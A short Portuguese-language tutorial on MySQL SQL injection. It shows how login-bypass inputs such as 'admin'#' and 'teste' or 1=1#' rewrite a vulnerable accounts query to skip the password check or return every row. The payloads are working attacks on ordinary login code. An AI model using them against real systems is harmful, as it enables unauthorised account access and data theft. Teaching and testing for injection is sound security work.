# MySQL

Descobrir SQL Injection numa requisição GET

# Descobrir SQL Injection numa requisição GET

**Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';**

## Injeção 1

**Input:** nome= teste' or 1=1# password=
**Resultado:** SELECT * FROM accounts WHERE username='teste' OR 1=1#' AND password='';

Interpretação da query
Quando a query é realizada, tudo o que se encontra à frente do cardinal "#" não é interpretado:
SELECT * FROM accounts WHERE username='teste' OR 1=1#' AND password='';

Neste caso não existe nenhum registo cujo username seja "teste". No entanto, temos a condição "OR 1=1" que é sempre verdadeira. Assim sendo, o resultado desta query vai devolver todos os registos da tabela accounts.:
SELECT * FROM accounts WHERE username='teste' OR 1=1

# Descobrir SQL Injection numa requisição GET

**Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';**

## Injeção 2

**Input: nome= admin'# password=**
**Resultado: SELECT * FROM accounts WHERE username='admin'#' AND password='';**

Interpretação da query
Quando a query é realizada, tudo o que se encontra à frente do cardinal "#" não é interpretado:
SELECT * FROM accounts WHERE username='admin'#' AND password='';

Esta injeção permite remover a condição da password e devolver a informação de qualquer conta de usuário com um determinado username neste caso, admin:
SELECT * FROM accounts WHERE username='admin'

# Descobrir SQL Injection numa requisição GET

Query: SELECT * FROM accounts WHERE username='$name' AND password='$password';

## Outras Injeções

Input: nome= password= teste' or 1=1#
Resultado: SELECT * FROM accounts WHERE username='' AND password='teste' or 1=1#';

Input: nome= 1' or '1'='1 password= 1' or '1'='1
Resultado: SELECT * FROM accounts WHERE username='1' or '1'='1' AND password='1' or '1'='1';